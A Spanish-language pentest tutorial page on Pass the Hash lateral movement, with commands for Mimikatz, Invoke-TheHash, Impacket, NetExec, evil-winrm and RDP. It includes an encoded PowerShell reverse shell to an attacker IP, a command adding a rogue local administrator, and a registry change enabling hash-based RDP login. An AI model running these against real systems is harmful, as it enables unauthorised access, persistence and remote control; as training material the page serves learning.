🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Introduction
  • Windows NTLM Introduction
  • Pass the Hash with Mimikatz (Windows)
  • Pass the Hash with PowerShell Invoke-TheHash (Windows)
  • Invoke-TheHash with SMB
  • Invoke-TheHash with WMI
  • Pass the Hash with Impacket (Linux)
  • Pass the Hash with NetExec (Linux)
  • Pass the Hash with evil-winrm (Linux)
  • Pass the Hash with RDP (Linux)
  • UAC Limits Pass the Hash for Local Accounts

¿Te fue útil?

Exportar como PDF
  1. Windows Lateral Movement

Pass the Hash (PtH)

Introduction

Un ataque Pass the Hash (PtH) es una técnica en la que un atacante utiliza un hash de contraseña en lugar de la contraseña en texto plano para autenticarse. No es necesario descifrar el hash para obtener la contraseña original. Este tipo de ataque aprovecha el funcionamiento del protocolo de autenticación, ya que el hash permanece constante en cada sesión hasta que la contraseña se cambia.

El atacante necesita tener privilegios administrativos u otros permisos específicos sobre la máquina objetivo para poder obtener los hashes de contraseña. Existen varios métodos para obtenerlos, entre ellos:

  • Volcar la base de datos SAM local desde un host comprometido.

  • Extraer los hashes de la base de datos del controlador de dominio (NTDS.dit).

  • Obtener los hashes directamente desde la memoria del proceso lsass.exe.

Supongamos que hemos obtenido el siguiente hash de contraseña para la cuenta julio del dominio gzzcoo.htb:

64F12CDDAA88057E06A81B54E73B949B

A continuación, veremos cómo realizar ataques Pass the Hash desde sistemas Windows y Linux.


Windows NTLM Introduction

NTLM (New Technology LAN Manager) de Microsoft es un conjunto de protocolos de seguridad diseñado para autenticar la identidad de los usuarios y proteger la integridad y confidencialidad de sus datos. NTLM funciona como una solución de inicio de sesión único (SSO), utilizando un protocolo de reto-respuesta para verificar la identidad del usuario sin necesidad de enviar la contraseña.

A pesar de sus vulnerabilidades conocidas, NTLM sigue siendo utilizado con frecuencia para mantener compatibilidad con sistemas y clientes antiguos, incluso en entornos modernos. Aunque Microsoft continúa dando soporte a NTLM, Kerberos ha pasado a ser el mecanismo de autenticación predeterminado desde Windows 2000 y en todos los dominios basados en Active Directory (AD) posteriores.

Uno de los problemas clave de NTLM es que las contraseñas almacenadas en los servidores o controladores de dominio no están "salteadas" (salted). Esto significa que un atacante que obtenga el hash de una contraseña puede autenticarse directamente sin necesidad de conocer la contraseña original. A este tipo de técnica se le conoce como ataque Pass the Hash (PtH).


Pass the Hash with Mimikatz (Windows)

La primera herramienta que podemos utilizar para llevar a cabo un ataque Pass the Hash es Mimikatz. Esta herramienta cuenta con un módulo llamado sekurlsa::pth, que permite iniciar un proceso utilizando directamente el hash NTLM de un usuario, sin necesidad de conocer su contraseña en texto claro.

Para usar este módulo, se requiere la siguiente información:

  • /user – El nombre del usuario que queremos suplantar.

  • /rc4 o /ntlm – El hash NTLM de la contraseña del usuario.

  • /domain – El dominio al que pertenece el usuario. Si es una cuenta local, se puede usar el nombre del equipo, localhost, o simplemente un punto (.).

  • /run – El programa que queremos ejecutar con el contexto del usuario (si no se especifica, se lanzará por defecto una cmd.exe).

Pass the Hash from Windows Using Mimikatz:

.\mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:gzzcoo.htb /run:cmd.exe" exit

Ahora podemos usar cmd.exe para ejecutar comandos en el contexto del usuario. En este ejemplo, julio puede conectarse a una carpeta compartida llamada julio en el controlador de dominio.


Pass the Hash with PowerShell Invoke-TheHash (Windows)

Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en sistemas Windows es Invoke-TheHash. Esta herramienta es un conjunto de funciones en PowerShell diseñadas para ejecutar ataques PtH utilizando WMI y SMB.

Las conexiones a WMI y SMB se realizan a través de System.Net.Sockets.TCPClient de .NET, y la autenticación se lleva a cabo inyectando el hash NTLM en el protocolo de autenticación NTLMv2.

Aunque no se requieren privilegios de administrador en el equipo desde el cual ejecutamos el ataque, las credenciales utilizadas (usuario y hash) sí deben tener privilegios administrativos en la máquina objetivo.

Invoke-TheHash with SMB

En este ejemplo, se utilizará el usuario julio y el hash 64F12CDDAA88057E06A81B54E73B949B.

  • Target: Nombre de host o dirección IP del objetivo.

  • Username: Nombre de usuario que se utilizará para la autenticación.

  • Domain: Dominio al que pertenece el usuario. Este parámetro es opcional si se utiliza una cuenta local o si se incluye el dominio en el nombre de usuario (por ejemplo, usuario@dominio).

  • Hash: Hash NTLM de la contraseña. Se acepta el formato LM:NTLM o solo NTLM.

  • Command: Comando a ejecutar en el sistema objetivo. Si no se especifica ningún comando, la función verificará si las credenciales tienen acceso a WMI en la máquina remota.

El siguiente comando utilizará el método SMB para ejecutar un comando que crea un nuevo usuario llamado mark y lo añade al grupo de administradores:

Import-Module .\Invoke-TheHash.psd1

Invoke-SMBExec -Target 172.16.1.10 -Domain gzzcoo.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

Invoke-TheHash with WMI

También podemos obtener una conexión de Reverse Shell en la máquina de destino.

Para obtener una Reverse Shell, necesitamos iniciar nuestro listener usando Netcat en nuestra máquina Windows, cuya dirección IP es 172.16.1.5. Usaremos el puerto 8001 para esperar la conexión.

.\nc.exe -lvnp 8001
Import-Module .\Invoke-TheHash.psd1

Invoke-WMIExec -Target DC01 -Domain gzzcoo.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

Pass the Hash with Impacket (Linux)

Pass the Hash with Impacket PsExec

gzzcoo@htb[/nobody]$ impacket-psexec administrator@10.10.10.10 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.10.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.10.10.10.....
[*] Creating service AdzX on 10.10.10.10.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Existen otras herramientas en el kit de herramientas de Impacket que podemos usar para la ejecución de comandos mediante ataques Pass the Hash, como:

  • impacket-wmiexec

  • impacket-atexec

  • impacket-smbexec


Pass the Hash with NetExec (Linux)

NetExec es una herramienta de postexplotación que ayuda a automatizar la evaluación de la seguridad de grandes redes de Active Directory. Podemos usar NetExec para intentar autenticarnos en algunos o todos los hosts de una red, buscando un host donde podamos autenticarnos correctamente como administrador local. Este método también se denomina "Rociado de contraseñas" y se explica en detalle en el módulo "Enumeración y ataques de Active Directory". Tenga en cuenta que este método puede bloquear cuentas de dominio, así que tenga en cuenta la política de bloqueo de cuentas del dominio objetivo y asegúrese de usar el método de cuenta local, que solo intentará iniciar sesión una vez en un host dentro de un rango determinado con las credenciales proporcionadas, si esa es su intención.

nxc smb 172.16.1.0/24 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -d . 

Si queremos realizar las mismas acciones, pero intentar autenticarnos en cada host de una subred usando el hash de la contraseña del administrador local, podríamos añadir --local-auth a nuestro comando. Este método es útil si obtenemos un hash del administrador local volcando la base de datos SAM local en un host y queremos comprobar a cuántos hosts adicionales (si los hay) podemos acceder gracias a la reutilización de la contraseña del administrador local. Si vemos "Pwn3d!", significa que el usuario es administrador local en el equipo de destino. Podemos usar la opción -x para ejecutar comandos.

Es común ver la reutilización de contraseñas en varios hosts de la misma subred. Las organizaciones suelen usar imágenes maestras con la misma contraseña de administrador local o la configuran de la misma forma en varios hosts para facilitar la administración. Si nos encontramos con este problema en una interacción real, una excelente recomendación para el cliente es implementar la Solución de Contraseña del Administrador Local (LAPS), que aleatoriza la contraseña del administrador local y puede configurarse para que rote en un intervalo fijo.

CrackMapExec - Command Execution

nxc smb 10.10.10.10 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -d . -x whoami

Pass the Hash with evil-winrm (Linux)

evil-winrm es otra herramienta que podemos usar para autenticarnos mediante el ataque "Pass the Hash" con comunicación remota de PowerShell. Si SMB está bloqueado o no tenemos permisos de administrador, podemos usar este protocolo alternativo para conectarnos a la máquina objetivo.

evil-winrm -i 10.10.10.10 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Pass the Hash with RDP (Linux)

RDP Port (3389)

Puede haber ocasiones en las que obtengas un NT hash de administrador local a partir de un volcado de SAM u otros métodos, pero no puedas descifrarlo para obtener la contraseña en texto claro. En algunos casos, puedes realizar un ataque Pass-the-Hash (PtH) en RDP para obtener acceso GUI al sistema utilizando una herramienta como xfreerdp.

El principal obstáculo para este ataque es el Modo de Administración Restringida (Restricted Admin Mode). Este modo está deshabilitado por defecto y evitará que inicies sesión con un NT hash.

xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129

Sin embargo, con acceso de administrador local, puedes habilitar esta función agregando una nueva clave en el registro:

nxc smb 192.168.134.129 -u 'user' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

Una vez que se agrega la clave en el registro, puedes usar una herramienta como xfreerdp para obtener acceso por RDP sin necesidad de conocer la contraseña en texto claro de la cuenta:

xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129

PoC (Proof of Concept)


UAC Limits Pass the Hash for Local Accounts

UAC (Control de Cuentas de Usuario) limita la capacidad de los usuarios locales para realizar tareas administrativas de forma remota. Cuando la clave de registro HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy está en 0, significa que solo la cuenta de administrador local integrada (RID-500, "Administrator") puede hacer administración remota. Si se pone en 1, se permite también a otros administradores locales.

Ojo: hay una excepción. Si la clave FilterAdministratorToken (que está deshabilitada por defecto) se habilita (valor 1), entonces la cuenta RID-500 (aunque tenga otro nombre) queda protegida por UAC. Eso hace que un ataque remoto tipo Pass The Hash (PTH) con esa cuenta falle.

Estos ajustes solo aplican a cuentas administrativas locales. Si conseguimos acceso a una cuenta de dominio con permisos administrativos sobre una máquina, sí podremos usar Pass The Hash contra ella.

AnteriorWindows Lateral MovementSiguientePass the Ticket (PtT)

Última actualización hace 1 mes

¿Te fue útil?

Para crear una Reverse Shell simple usando PowerShell, podemos visitar , configurar nuestra IP 172.16.1.5 y puerto 8001, y seleccionar la opción PowerShell #3 (Base64), como se muestra en la siguiente imagen.

https://www.revshells.com/
Pass-The-Hash(PtH) with RDP!Medium
Passing the Hash with Remote Desktop | Kali Linux BlogKali Linux
Bypassing Authentication A Comprehensive Guide to Pass-the-Hash AttacksHornetsecurity – Next-Gen Microsoft 365 Security
Logo
Logo
Logo
GitHub - Kevin-Robertson/Invoke-TheHash: PowerShell Pass The Hash UtilsGitHub
Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicyMedium
Logo
Logo